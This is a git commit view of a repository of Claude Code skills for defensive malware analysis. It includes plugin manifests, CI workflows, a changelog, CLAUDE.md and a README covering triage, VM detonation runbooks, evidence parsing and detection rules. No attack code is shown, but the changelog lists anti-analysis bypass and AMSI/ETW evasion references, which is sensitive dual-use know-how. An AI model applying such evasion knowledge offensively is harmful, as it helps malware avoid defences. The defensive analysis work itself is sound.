reverse-skills-max: initial public release (restored, redacted, hardened)

This commit is contained in:
baradok609hecl1pq6qi
2026-10-20 02:17:15 +03:00
commit da24c2bd20
2227 changed files with 443931 additions and 0 deletions

View File

@@ -0,0 +1,18 @@
{
"$schema": "https://anthropic.com/claude-code/marketplace.schema.json",
"name": "gl0bal01-security",
"description": "Security tooling skills for Claude Code by gl0bal01.",
"owner": { "name": "gl0bal01", "url": "https://github.com/gl0bal01" },
"plugins": [
{
"name": "malware-analysis",
"source": "./",
"description": "Agentic malware analysis across triage, dynamic analysis, specialized file analysis, detection engineering, and reporting.",
"version": "1.3.0",
"author": { "name": "gl0bal01", "url": "https://github.com/gl0bal01" },
"homepage": "https://github.com/gl0bal01/malware-analysis-claude-skills",
"category": "security",
"tags": ["malware-analysis", "dfir", "detection-engineering", "yara", "sigma"]
}
]
}

View File

@@ -0,0 +1,11 @@
{
"name": "malware-analysis",
"version": "1.3.0",
"description": "Agentic malware analysis: Claude runs the static tooling, parses exported VM evidence, writes and tests detection rules, and drafts the report across triage, dynamic analysis, specialized file analysis, detection engineering, and reporting.",
"author": { "name": "gl0bal01", "url": "https://github.com/gl0bal01" },
"homepage": "https://github.com/gl0bal01/malware-analysis-claude-skills",
"repository": "https://github.com/gl0bal01/malware-analysis-claude-skills",
"license": "MIT",
"keywords": ["malware-analysis", "dfir", "triage", "detection-engineering", "yara", "sigma", "suricata", "threat-intel", "reverse-engineering"],
"skills": ["./"]
}

View File

@@ -0,0 +1,23 @@
name: Mirror to Codeberg
on:
workflow_dispatch:
schedule:
- cron: '30 0 * * 0'
push:
branches: [main]
jobs:
codeberg:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v5
with:
fetch-depth: 0
- name: Configure Git
run: |
git config --global user.name "GitHub Actions"
git config --global user.email "actions@github.com"
- name: Mirror repository
run: |
git remote add codeberg https://gl0bal01:${{ secrets.CODEBERG_TOKEN }}@codeberg.org/gl0bal01/malware-analysis-claude-skills.git || true
git push codeberg --all --force
git push codeberg --tags --force

View File

@@ -0,0 +1,18 @@
name: Test skills toolchain
on:
workflow_dispatch:
push:
branches: [main]
pull_request:
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v5
- uses: actions/setup-python@v5
with:
python-version: '3.12'
- name: Install analysis dependencies
run: pip install pefile yara-python sigma-cli pysigma-backend-splunk pysigma-pipeline-sysmon
- name: Run end-to-end test harness
run: bash tests/run.sh

View File

@@ -0,0 +1,27 @@
# oh-my-claudecode state
.omc/
# Per-engagement analysis state files
analysis_state*.md
# Python
*.pyc
__pycache__/
# macOS
.DS_Store
# Environment variables
.env
# Raw binary evidence formats (use text-parseable exports instead)
*.pml
*.pcap
*.pcapng
*.dmp
*.evtx
# Test artifacts and local venv
tests/out/
.venv/
LIFEOS/

View File

@@ -0,0 +1,90 @@
# Changelog
All notable changes to this project will be documented in this file.
The format is based on [Keep a Changelog](https://keepachangelog.com/).
## [1.3.0] - 2026-09-05
### Changed
- **Skills rewritten as agent instructions.** Every phase now tells Claude what to run and interpret on the host instead of guiding a human through it. Each SKILL.md opens with an *Execution Model* (what Claude runs, what is VM-only, what to ask the user for).
- **malware-triage** — full rewrite: `file` → route, `pe_info.py` interpretation table, ASCII+UTF-16 strings, `ioc_extract.py`, packed-sample handling, unknown-file carving (XOR/base64/gzip), batch mode, state-file output.
- **malware-dynamic-analysis** — split into Part A (VM runbook for the analyst, tailored from triage predictions, ending in text-format export commands: Procmon CSV, Sysmon JSON, tshark, autoruns, dropped files) and Part B (Claude parses the evidence: process tree, injection, persistence, C2/beaconing, dropped files, memory strings, sandbox reports). Binary-evidence conversion table added.
- **specialized-file-analyzer** — host-first workflows: `ilspycmd` decompilation with grep patterns, Python static decoders for PowerShell (`-EncodedCommand`, gzip), VBScript (Chr/Replace/StrReverse), JS escapes; PSDecode / `cscript` / `strace` / dnSpy marked VM-only.
- **detection-engineer** — derives rules from the evidence files, writes them to `detections/`, runs `sigma check` / `suricata -T` when available, uses `ioc_extract.py` for defanging and export.
- **malware-report-writer** — reads `analysis_state.md` and evidence instead of asking for findings; authors and `yara`-tests the rule; writes `reports/<sample>_report.md`.
- **Orchestrator** — Execution Model, bundled-script table, host tool check, runbook-based VM boundary, sub-skill path note.
- **README** — real install instructions (`git clone` into `~/.claude/skills/`, only the orchestrator registers), updated CAN/CANNOT, compact sub-skill table, evidence-driven usage example.
### Added
- **Claude Code plugin packaging** — `.claude-plugin/plugin.json` and `.claude-plugin/marketplace.json`. Install with `/plugin marketplace add gl0bal01/malware-analysis-claude-skills` then `/plugin install malware-analysis`. Only the orchestrator registers as a skill; sub-skills load by path. Skills resolve their files via `$CLAUDE_PLUGIN_ROOT` (plugin) or the skill directory (git clone).
- **Test harness + CI** — `tests/run.sh` (8 stages), `tests/make_pe.py` (deterministic benign PE fixture), `tests/fixtures/` (Procmon/Sysmon/tshark evidence, obfuscated scripts, YARA rule), `tests/extract_rules.py`; `.github/workflows/test.yml` runs it on push/PR. Core runs stdlib-only; optional tool checks (pefile/yara/sigma) skip gracefully.
- **`docs/example-triage.md`** — a real, unedited autonomous triage transcript produced by Claude running the skill headless against the fixture.
- `malware-dynamic-analysis/scripts/procmon_summary.py` — Procmon CSV → process tree, file/registry writes (persistence flagged), network, non-system image loads; scoped to a process and its descendants.
- `malware-dynamic-analysis/scripts/sysmon_summary.py` — Sysmon (PowerShell JSON/CSV or `evtx_dump` JSONL) → tree, network with beacon-interval detection, DNS, files, registry, remote threads, process access, pipes, WMI, tampering.
- Both readers accept UTF-16 (PowerShell 5.1 default) and UTF-8; both have `--self-test`.
### Removed
- `Quick_Start.md` (subset of README with incorrect install steps).
- Duplicated "Report Quality Checklist" from `best_practices.md` (kept in the report-writer SKILL.md) and the human-oriented "Time Management" section from the report-writer SKILL.md.
## [1.2.0] - 2026-04-12
### Added
- **`.gitignore`** — ignores `.omc/`, analysis state files, binary evidence formats
- **`sandbox_setup.md`** — REMnux/FlareVM setup, network isolation, snapshot management, VM detection countermeasures
- **`anti_analysis_bypass.md`** — anti-analysis techniques (ETW, AMSI, syscalls, PPID spoofing, module stomping), bypass strategies, MITRE ATT&CK mapping
- **HTA and disk image analysis** — full coverage in `specialized-file-analyzer` for HTA files (T1218.005) and ISO/IMG/VHD/VHDX (T1553.005)
- **HTA/ISO/VHD routing** in orchestrator file type priority order
- **Packed sample handling** in `malware-triage` — packer detection, UPX unpacking, entropy analysis
- **Modern evasion techniques** in `indicators.md` — ETW patching, AMSI bypass, direct syscalls, PPID spoofing, module stomping, callback-based execution
- **VBScript deobfuscation** expanded in `specialized-file-analyzer` — Chr() resolution, Execute/ExecuteGlobal extraction, StrReverse, Replace chains
- **Defanging guidance** added to `malware-report-writer` SKILL.md and report template
- **Modern PDF CVEs** — CVE-2023-21608, CVE-2023-26369, CVE-2024-4367, CVE-2023-36664
### Fixed
- **AMSI bypass return values** corrected to match Windows SDK (AMSI_RESULT_CLEAN = 0)
- **`CreateScheduledTask`** replaced with correct APIs (`ITaskService`/`ITaskFolder::RegisterTaskDefinition`)
- **x64dbg sleep-patch script** — fixed label syntax and double `run` logic
- **Un-defanged IP** in `best_practices.md` good example
- **MCP package name** inconsistency (`@anthropic-ai` → `@burtthecoder`) in quick setup
- **Placeholder Sigma UUIDs** replaced with real UUID4s to prevent copy-paste into production
- **`hash_calculator.py`** exception handling tightened to specific I/O errors
- **Suricata Example 1** updated to modern sticky buffer syntax (`http.method`, `http.uri`)
### Changed
- **Process Hacker → System Informer** across all files (renamed 2022)
- **Ubuntu 20.04 → 22.04 LTS** in sandbox setup (20.04 EOL)
- **peepdf → peepdf-3** install instructions (Python 3 fork)
- **sigmac → sigma-cli** as primary tool reference
- **README.md** trimmed from 990 to 349 lines — removed redundant sections
- **YARA ownership** clarified in `detection-engineer` with explicit note
- **Sigma template** in report template completed with required fields (id, status, author, date, tags)
- **Frontmatter** standardized across all 6 SKILL.md files
- Removed orphan `malware-triage/test.txt`
## [1.1.0] - 2026-03-15
### Added
- **Orchestrator skill** (`SKILL.md` at repo root) — single entry point that routes to the 5 sub-skills based on file type and user intent
- **Analysis state tracking** — `analysis_state.md` file carries findings, IOCs, and phase status across the full analysis lifecycle
- **Multi-sample batch workflow** — triage all samples first, rank by priority, then deep-analyze high-priority samples sequentially
- **Suggest-next mode** — orchestrator recommends the next phase with reasoning after each phase completes, waits for user confirmation
- **Edge case handling** — benign sample detection, unrecognized file types, state file conflict resolution, skill repo directory guard
- **MCP server integration guide** (`references/mcp_integrations.md`) — maps 6 MCP servers (VirusTotal, Threat.Zone, Threat Intel, MISP, Shodan, Volatility) to skills with setup instructions
- `CHANGELOG.md`
### Changed
- Updated `CLAUDE.md` to document the orchestrator and cross-skill routing boundaries
- Updated `README.md` to reflect orchestrator as the primary entry point
- Updated `Quick_Start.md` with simplified orchestrator-based workflow
## [1.0.0] - 2025-10-26
### Added
- **malware-triage** — rapid sample assessment, classification, and prioritization
- **malware-dynamic-analysis** — safe execution and behavior monitoring in isolated VMs
- **specialized-file-analyzer** — non-PE file analysis (.NET, Office, PDF, scripts, archives, LNK, ELF)
- **detection-engineer** — Sigma rules, Suricata rules, hunting queries, IOC defanging
- **malware-report-writer** — professional report creation with 12-section template and YARA rules
- GitHub Actions workflow for Codeberg mirroring

View File

@@ -0,0 +1,75 @@
# CLAUDE.md
This file provides guidance to Claude Code (claude.ai/code) when working with code in this repository.
## Project Overview
This is a **Claude skills package for malware analysis** — not a traditional software project. It contains 6 SKILL.md files (1 orchestrator + 5 sub-skills) with supporting references, templates, and scripts that make Claude perform every phase of the malware analysis lifecycle itself (static tooling, evidence parsing, rule authoring, report writing). The only manual step is executing the sample in the analyst's isolated VM. There is no build system; the only tests are the `--self-test` flags on the Python scripts.
## Repository Structure
The root `SKILL.md` is the **orchestrator** — the single entry point for all malware analysis. It routes to the 5 sub-skills based on file type and user intent, manages analysis state across phases in `analysis_state.md`, and supports multi-sample batch workflows. Users don't need to invoke sub-skills directly.
Each sub-skill is a self-contained directory with a `SKILL.md` (the skill prompt) plus optional `references/`, `assets/`, and `scripts/` subdirectories:
- **malware-triage/** — Rapid static assessment, classification, and prioritization. Claude runs `scripts/pe_info.py` (needs `pefile`), `scripts/hash_calculator.py`, `strings`, and the root `scripts/ioc_extract.py`; references cover suspicious APIs and the triage checklist.
- **malware-dynamic-analysis/** — Part A: VM runbook for the analyst (monitoring setup, execution, text-format evidence exports). Part B: Claude parses the evidence with `scripts/procmon_summary.py` and `scripts/sysmon_summary.py` plus tshark exports. References cover tool setup, sandbox build, anti-analysis bypass.
- **scripts/** (repo root) — `ioc_extract.py`: IOC extraction/defanging used by every phase (`--refang`, `--format csv|json`, `--self-test`).
- **specialized-file-analyzer/** — Non-PE file analysis: .NET assemblies, Office macros, PDFs, PowerShell/VBS/JS scripts, archives, LNK files, ELF binaries.
- **detection-engineer/** — Creating Sigma rules (SIEM), Suricata/Snort rules (IDS), hunting queries, IOC defanging, and IOC format conversion (STIX, CSV, OpenIOC).
- **malware-report-writer/** — Professional report creation with a 12-section template (`assets/report_template.md`), YARA rule authoring, and quality checklists.
## Intended Workflow
The root `SKILL.md` orchestrator manages this workflow automatically — users describe what they need and the orchestrator routes to the right sub-skill and phase.
1. **Triage** all samples first (classify, prioritize)
2. **Dynamic analysis** or **specialized file analysis** for deep investigation
3. **Detection engineering** to create actionable rules from findings
4. **Report writing** to document everything professionally
## Skill Routing (Cross-Skill Boundaries)
These ownership boundaries require reading multiple SKILL.md files to discover:
- **YARA rules** are authored in `malware-report-writer`, not `detection-engineer`. Detection-engineer handles Sigma, Suricata, and hunting queries.
- **Sigma rules** for behavioral detection and **Suricata rules** for network detection both live in `detection-engineer`.
- **File type determines skill**: use `file` command output to route — "Mono/.Net assembly", "Microsoft Office Document", "PDF document", "ELF" all go to `specialized-file-analyzer`; standard PE32/PE64 executables go to `malware-triage` then `malware-dynamic-analysis`.
- **IOC defanging** is handled by `detection-engineer`, but defanged IOCs appear in reports created by `malware-report-writer`.
## Key Conventions
- Skills use YAML frontmatter (`name`, `description`) for metadata.
- All IOCs in reports and rules must be **defanged** (e.g., `hxxp://`, `[.]com`, `[@]`).
- Reports always include all three hash types: MD5, SHA1, SHA256.
- Detection rules (YARA, Sigma, Suricata) must be tested before inclusion in reports.
- MITRE ATT&CK technique IDs should be tagged in Sigma rules.
- Evidence files should be in text-parseable formats (CSV, JSON, TXT) — not raw binary formats (PML, PCAP, EVTX). The dynamic skill has the conversion commands; `sysmon_summary.py` reads PowerShell JSON/CSV and `evtx_dump` JSONL; both summary scripts accept UTF-16 (PowerShell default) or UTF-8.
- Skills are written as instructions to Claude ("you run", "you read"), not tutorials for a human. New content should keep that voice and mark VM-only steps explicitly.
- Sigma rules require unique UUIDs and use SIDs starting at 1000000+ for custom Suricata rules.
## MCP Server Integrations
Optional MCP servers can automate manual steps in the workflow. See `references/mcp_integrations.md` for the full guide. Key integrations: VirusTotal (hash/URL lookups), Threat.Zone (automated sandbox), Threat Intel (abuse.ch/AbuseIPDB/GreyNoise), MISP (IOC sharing), Shodan (infrastructure recon), Volatility (memory forensics).
## Architecture Notes
- The host machine runs Claude Code with internet access; the analysis VM (REMnux/FlareVM) is network-isolated. Claude runs static tools on the host and analyzes exported evidence; it never executes malware or extracted stages, and never uploads samples without consent.
- Every Python script is stdlib-only (except `pe_info.py` → `pefile`). `ioc_extract.py`, `procmon_summary.py`, and `sysmon_summary.py` have a `--self-test`; run them after touching a script.
- The `references/` subdirectories contain domain knowledge (suspicious API lists, tool setup guides, best practices) that skills reference inline.
- `assets/report_template.md` in malware-report-writer is the canonical 12-section report structure.
- `references/indicators.md` in malware-triage is the primary suspicious API/string/behavioral pattern database.
- `references/tool_setup.md` in malware-dynamic-analysis covers Procmon, Wireshark, System Informer, Sysmon, Regshot, INetSim, and FakeNet-NG configuration.
## Plugin Packaging
`.claude-plugin/plugin.json` declares `"skills": ["./"]`, which registers only the root orchestrator (`name: malware-analysis`); sub-skills are loaded by path, not auto-registered. `.claude-plugin/marketplace.json` (`gl0bal01-security`) makes it installable via `/plugin marketplace add gl0bal01/malware-analysis-claude-skills` + `/plugin install malware-analysis`. Validate with `claude plugin validate .`. Skills must resolve their own files via `$CLAUDE_PLUGIN_ROOT` (set when running as a plugin) or the skill directory (git-clone install) — the working directory is the user's workspace, never the skill dir. Keep new script references prefixed with the resolved root.
## Testing
`bash tests/run.sh` is the single source of truth that the toolchain works; run it after touching any script. It uses `tests/make_pe.py` (a benign PE fixture) and `tests/fixtures/` (evidence + obfuscated scripts) — never real malware. `tests/out/` and `.venv/` are gitignored. CI runs the harness on push/PR via `.github/workflows/test.yml`.
## CI/CD
- `.github/workflows/test.yml` — runs `tests/run.sh` with analysis deps on push and PR.
- `.github/workflows/mirror.yml` — mirrors the repo to Codeberg on push to `main` and weekly.

View File

@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2025 gl0bal01
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

View File

@@ -0,0 +1,345 @@
# Malware Analysis Skills Toolkit
> **Claude skills package for operational malware analysis — covering triage, dynamic analysis, detection engineering, and reporting. Does not cover deep static reverse engineering (e.g., Ghidra/IDA Pro disassembly).**
> 💡 **Want to learn the manual analysis techniques behind these skills?** Check out the comprehensive [Malware Analysis SOP](https://gl0bal01.com/intel-codex/Security/Analysis/sop-malware-analysis) covering traditional analysis methods and tools.
---
## 📦 What's Included
**1 Orchestrator + 5 Sub-Skills + host-side scripts** covering triage, dynamic analysis, detection engineering, and reporting. The skills are written as instructions to Claude Code: Claude runs the static tooling, parses exported evidence, writes and tests the rules, and drafts the report. You execute the sample in your isolated VM; everything else is done for you.
- **SKILL.md (root)** - **Orchestrator** — single entry point that routes to the right sub-skill, manages analysis state across phases, and supports multi-sample batch workflows. Just describe what you need.
1. **malware-triage** - Initial assessment and prioritization
2. **malware-dynamic-analysis** - Safe execution and behavior monitoring
3. **specialized-file-analyzer** - Non-PE file analysis (.NET, Office, PDF, scripts, HTA, disk images)
4. **detection-engineer** - Detection rules and IOC management
5. **malware-report-writer** - Professional report creation
---
## 🧠 How It Works (agentic)
These are not tutorials you read — they are instructions Claude Code executes. Claude runs the static tools on the host, parses the evidence you export from the VM, and produces the rules and report. The only manual step is detonating the sample in your isolated VM.
```
YOUR HOST (Claude Code + internet)
┌───────────────────────────────────────────────────────────────────────┐
│ Triage Claude runs: file · hash_calculator.py · pe_info.py │
│ · strings (ASCII+UTF-16) · ioc_extract.py │
│ → classification, priority, behavior predictions │
│ │ │
│ ▼ emits a VM runbook tailored to predictions│
└────────────────────────────┼──────────────────────────────────────────┘
│ runbook (filters, export commands)
┌──────────────────────▼───────────────────────┐
│ ISOLATED VM (REMnux / FlareVM, no internet) │ ← you detonate here
│ snapshot → monitor → execute → 15+ min → │
│ export TEXT evidence → revert │
└──────────────────────┬───────────────────────┘
│ evidence/ (Procmon CSV, Sysmon JSON, tshark, dropped files)
┌────────────────────────────▼──────────────────────────────────────────┐
│ Dynamic Claude runs: procmon_summary.py · sysmon_summary.py │
│ · tshark exports → process tree, injection, │
│ persistence, C2 + beacon interval, dropped files │
│ Detection Sigma (+ATT&CK, UUIDs) · Suricata (SID≥1M) · hunts, │
│ validated with `sigma check` / `suricata -T` │
│ Report 12-section report + YARA rule, tested with `yara` │
└───────────────────────────────────────────────────────────────────────┘
```
**Claude never executes the sample or any extracted stage, and never uploads a sample** (hash lookups only). See a real run in [`docs/example-triage.md`](docs/example-triage.md).
---
## 🎯 Quick Skill Selector
**Just describe what you need** — the orchestrator (`SKILL.md`) routes automatically. The decision tree below is for reference if you want to invoke a specific sub-skill directly.
```
START: What do you need to do?
├─ "I need to quickly assess a sample" → Use: malware-triage
│
├─ "I need to execute malware safely and monitor it" → Use: malware-dynamic-analysis
│
├─ "I have a document/script/non-executable" → Use: specialized-file-analyzer
│ ├─ .NET/C# assembly (.exe with .NET)
│ ├─ Office document with macros (.docm, .xlsm)
│ ├─ PDF file
│ ├─ PowerShell/VBS/JavaScript/HTA
│ ├─ Archive (.zip, .rar, .7z)
│ ├─ Disk image (.iso, .img, .vhd, .vhdx)
│ ├─ Linux binary (ELF)
│ └─ Shortcut file (.lnk)
│
├─ "I need to create detection rules or defang IOCs" → Use: detection-engineer
│ ├─ YARA rules → Use: malware-report-writer
│ ├─ Sigma rules (SIEM) → Use: detection-engineer
│ ├─ Suricata rules (IDS) → Use: detection-engineer
│ └─ Defang IOCs → Use: detection-engineer
│
└─ "I need to write a malware analysis report" → Use: malware-report-writer
```
---
## 📊 Skills Comparison Matrix
| Skill Name | When to Use | Primary Output |
|------------|-------------|----------------|
| **malware-triage** | First look at unknown sample | Classification, priority, initial IOCs |
| **malware-dynamic-analysis** | Execute and monitor behavior | Behavioral IOCs, process tree, network traffic |
| **specialized-file-analyzer** | Non-PE files (docs, scripts, etc.) | Deobfuscated code, embedded payloads, IOCs |
| **detection-engineer** | Create detection rules, defang IOCs | Sigma/Suricata rules, hunting queries |
| **malware-report-writer** | Document findings professionally | Complete technical report, YARA rules |
---
## 🚀 Getting Started
### Install as a plugin (recommended)
```
/plugin marketplace add gl0bal01/malware-analysis-claude-skills
/plugin install malware-analysis
```
Then in any analysis workspace, just describe the task — the `malware-analysis` skill auto-triggers, or invoke it with `/malware-analysis`. Install `pefile` for PE parsing (`pip install pefile`); every other tool is optional and the skills degrade gracefully without it.
### Install by git clone (personal skill)
```bash
git clone https://github.com/gl0bal01/malware-analysis-claude-skills ~/.claude/skills/malware-analysis
pip install pefile
python3 ~/.claude/skills/malware-analysis/scripts/ioc_extract.py --self-test # verify
```
Only the orchestrator registers as a skill; it loads the five sub-skills by path. Skills locate their own scripts via `$CLAUDE_PLUGIN_ROOT` (plugin) or the skill directory (clone), so they work from any working directory.
### Start analyzing
From your analysis workspace (not the skill repo):
```
"Triage samples/invoice.exe"
"I have 5 samples in samples/ — triage and prioritize them"
"Analyze samples/invoice.docm"
"Here is evidence/ from the VM run — what did it do?"
```
*claude.ai (web) users:* zip the repo and add it as a skill; the host scripts will not run there, so Claude falls back to asking you for tool output.
---
## 🔌 MCP Server Integrations (Optional)
MCP servers can automate manual steps like reputation lookups and sandbox execution. These are optional — every skill works without them.
| MCP Server | What It Automates | API Key |
|-----------|-------------------|---------|
| **VirusTotal** | Hash/URL/domain reputation lookups | Free at [virustotal.com](https://www.virustotal.com/) |
| **Threat.Zone** | Automated sandbox execution | [threat.zone](https://app.threat.zone/) |
| **Threat Intel** | abuse.ch, AbuseIPDB, GreyNoise, AlienVault OTX | Per-source |
| **MISP** | Team-wide IOC sharing | Self-hosted |
| **Shodan** | C2 infrastructure recon | Free at [shodan.io](https://www.shodan.io/) |
| **Volatility** | Memory forensics via natural language | Local install |
**Recommended starting setup:** VirusTotal + Threat Intel (abuse.ch). See [`references/mcp_integrations.md`](references/mcp_integrations.md) for full setup instructions.
---
## 🔐 Using with REMnux/FlareVM (Offline Analysis)
### The Problem
Malware analysis VMs are typically network-isolated to prevent C2 communication. Claude Code requires internet access. **Solution:** Run Claude Code on your HOST machine, analyze exported evidence from the analysis VM.
### Architecture
```
┌─────────────────────────────────────────────────────┐
│ HOST MACHINE (Internet-connected) │
│ • Claude Code + skills loaded │
│ • Analyzes exported evidence │
│ • Creates reports and detection rules │
└──────────────────┬──────────────────────────────────┘
│ Evidence Transfer (shared folder / USB)
┌──────────────────▼──────────────────────────────────┐
│ ANALYSIS VM (Isolated - No Internet recommended) │
│ REMnux / FlareVM │
│ • Execute malware, run monitoring tools │
│ • Export evidence in text formats │
└─────────────────────────────────────────────────────┘
```
### Host Directory Structure
```bash
/malware-analysis/
├── samples/ # Original samples (DO NOT share with VM)
├── evidence/ # Evidence exported FROM analysis VM
│ ├── strings/ # strings output
│ ├── procmon/ # Process Monitor logs (CSV)
│ ├── wireshark/ # Network captures (text exports)
│ ├── sysmon/ # Sysmon event logs (JSON/CSV)
│ ├── memory/ # Memory dump analysis results
│ └── screenshots/ # Behavior screenshots
├── detections/ # Detection rules created by Claude Code
│ ├── yara/
│ ├── sigma/
│ └── suricata/
└── reports/ # Final deliverables
```
### Workflow
1. **Triage (Claude, host):** hashes, `file`, `pe_info.py`, strings + IOC extraction, packing check, classification, behavior predictions
2. **Runbook (Claude → you):** a VM runbook tailored to the predictions — Procmon filters, Sysmon focus, expected network, and the exact export commands
3. **Execution (you, VM):** snapshot → start monitoring → execute → observe 15+ min → run the export commands (Procmon CSV, Sysmon JSON, tshark text, autoruns CSV, dropped files) → revert
4. **Analysis (Claude, host):** `procmon_summary.py`, `sysmon_summary.py`, tshark exports, memory strings → execution chain, persistence, C2, IOCs, ATT&CK
5. **Deliverables (Claude, host):** Sigma/Suricata/hunting rules (tested where tooling exists), YARA rule, 12-section report
### What Claude Code CAN and CANNOT Do
**CAN:** Run static tools on the host (`file`, `strings`, `pe_info.py`, `upx -d`, `olevba`, `pdfid`, `ilspycmd`, `7z`, `readelf`), decode obfuscated scripts in Python, parse Procmon CSV / Sysmon JSON-CSV-JSONL / tshark exports with the bundled scripts, run `tshark` and `evtx_dump` conversions if installed, write and test YARA/Sigma/Suricata rules, write the report.
**CANNOT:** Execute malware or extracted stages (that is the VM's job). Read PML directly (convert in Procmon). Debug interactively (dnSpy/x64dbg stay in the VM; bring the decrypted strings back as text).
### Troubleshooting
**Q: Claude Code refuses to read my evidence file?**
A: Ensure it's in text format (CSV, JSON, TXT), not binary (PML, PCAP, EVTX).
**Q: How do I convert PCAP to text?**
```bash
tshark -r capture.pcap -Y http -T fields -e http.host -e http.request.uri > http_traffic.txt
```
**Q: How do I convert EVTX?**
```powershell
Get-WinEvent -Path sysmon.evtx | Select Id,TimeCreated,Message | ConvertTo-Json -Depth 3 | Out-File -Encoding utf8 sysmon.json
```
Or on the host: `pip install evtx && evtx_dump --format jsonl sysmon.evtx > sysmon.jsonl` — `sysmon_summary.py` reads both.
**Q: Claude Code says file is too large?**
Filter first: `grep "malware.exe" procmon_huge.csv > procmon_filtered.csv`
---
## 📚 Sub-Skill Details
| Skill | Claude does | Bundled |
|-------|-------------|---------|
| **malware-triage** | `file`, hashes, `pe_info.py` (headers, sections, entropy, imports, packing verdict, signature, overlay), ASCII+UTF-16 strings, IOC extraction, classification, threat level, behavior predictions, priority | `scripts/pe_info.py`, `scripts/hash_calculator.py`, `references/indicators.md`, `references/triage_checklist.md` |
| **malware-dynamic-analysis** | Emits a tailored VM runbook with text-format export commands; then parses Procmon CSV, Sysmon JSON/CSV, tshark exports, autoruns diff, memory strings into execution chain, persistence, C2/beaconing, IOCs, ATT&CK | `scripts/procmon_summary.py`, `scripts/sysmon_summary.py`, `references/tool_setup.md`, `references/sandbox_setup.md`, `references/anti_analysis_bypass.md` |
| **specialized-file-analyzer** | Decompiles .NET (`ilspycmd`), extracts macros (`olevba`/`oledump`), triages PDFs (`pdfid`/`pdf-parser`), statically decodes PowerShell/VBS/JS/HTA in Python, lists/extracts archives and disk images, inspects LNK and ELF; routes every extracted stage | — |
| **detection-engineer** | Derives Sigma (with ATT&CK tags + UUIDs), Suricata (SID ≥ 1000000), and hunting queries from the observed behaviors; defangs/exports IOCs; runs `sigma check` / `suricata -T` when available | — (uses `scripts/ioc_extract.py`) |
| **malware-report-writer** | Reads the state file and evidence, fills the 12-section template, authors and `yara`-tests the YARA rule, delivers `reports/<sample>_report.md` | `assets/report_template.md`, `references/best_practices.md` |
| **scripts/** (root) | `ioc_extract.py` — extract + defang IOCs from any text; `--format csv/json`, `--refang`, `--self-test` | — |
---
## 💡 Usage Example
```
User: "Triage samples/invoice.exe"
1. Triage (Claude runs it)
file / hashes / pe_info.py → PE32, UPX-packed, 6 imports; upx -d → 214 imports incl. CreateRemoteThread, WinHttpOpen
strings + ioc_extract.py → hxxp://update-cdn[.]example/gate.php, mutex Global\x9f2, Run key name "WinUpdate"
→ Classified Trojan/loader, Priority: Immediate. Predictions: injection into explorer.exe, HTTP beacon, Run-key persistence.
2. Dynamic analysis
Claude emits the VM runbook (Procmon filter on invoice.exe + explorer.exe, Sysmon EID 1/3/8/13, export commands).
User executes in FlareVM, brings back evidence/.
Claude: procmon_summary.py + sysmon_summary.py + dns.txt/http.txt → tree, EID 8 injection into explorer.exe,
POST /gate.php every 60 s (cv 0.05 → beacon), Run key confirmed, dropped svc.exe (hashed, queued for triage).
3. Detection engineering
Sigma: registry_set Run key, process_access explorer.exe; Suricata: POST /gate.php with fixed UA; hunting queries.
sigma check / suricata -T results recorded.
4. Report
reports/invoice_report.md from analysis_state.md; YARA rule from runtime strings, tested with yara.
```
---
## ⚡ Tips
- **Triage ALL samples first** before deep-diving — prioritize effectively
- **Document as you analyze** — don't leave it for the end
- **Test all detection rules** (YARA, Sigma, Suricata) before including in reports
- **Export evidence in text formats** — CSV/JSON/TXT, not PML/PCAP/EVTX
- **Better to deeply analyze 2-3 samples** than shallowly analyze 10
- **Always defang IOCs** in reports and documentation
---
## 📖 Additional Resources
### Training
- **TCM Security:** Practical Malware Analysis & Triage (https://certifications.tcm-sec.com/pmrp/)
- **SANS:** FOR610, FOR710 malware analysis courses
- **Open Security Training:** Free malware analysis courses
### Malware Sample Sources
- MalwareBazaar: https://bazaar.abuse.ch/
- VirusTotal: https://www.virustotal.com/
- Hybrid Analysis: https://www.hybrid-analysis.com/
### Tool Documentation
- Sysinternals Suite: https://docs.microsoft.com/en-us/sysinternals/
- Wireshark: https://www.wireshark.org/docs/
- dnSpy: https://github.com/dnSpy/dnSpy
- Didier Stevens Tools: https://blog.didierstevens.com/programs/
- Sigma: https://github.com/SigmaHQ/sigma
- Suricata: https://docs.suricata.io/
### Reference Materials
- SANS Malware Analysis Cheat Sheet: https://www.sans.org/posters/
- MITRE ATT&CK: https://attack.mitre.org/
- MalAPI.io (Windows APIs): https://malapi.io/
---
## 🧪 Testing
Every host-side script is proven on synthetic, benign fixtures — no malware in the repo.
```bash
pip install pefile yara-python sigma-cli pysigma-backend-splunk pysigma-pipeline-sysmon
bash tests/run.sh
```
`tests/make_pe.py` builds a benign PE (only calls `ExitProcess`) that imports injection/network/persistence APIs and embeds C2-like strings, so triage heuristics have something to bite. The harness runs script self-tests, `pe_info.py`, the Procmon/Sysmon parsers, IOC extraction + defang, script deobfuscation, `sigma check` on the skill's own rule examples, and a YARA match/no-match. Core checks are stdlib-only and run on a bare box; optional tool checks skip gracefully. CI runs it on every push (`.github/workflows/test.yml`).
---
## ❓ FAQ
**Q: Which skill should I start with?**
A: Use the root `SKILL.md` orchestrator — it handles routing automatically. Just describe what you need.
**Q: Do I need to use all 5 sub-skills?**
A: No. Triage and report-writer are most common. Others are situational.
**Q: How do I know if a file needs specialized-file-analyzer?**
A: Run `file sample.bin`. If output shows .NET assembly, Office document, PDF, script, HTA, disk image, or ELF — use specialized-file-analyzer.
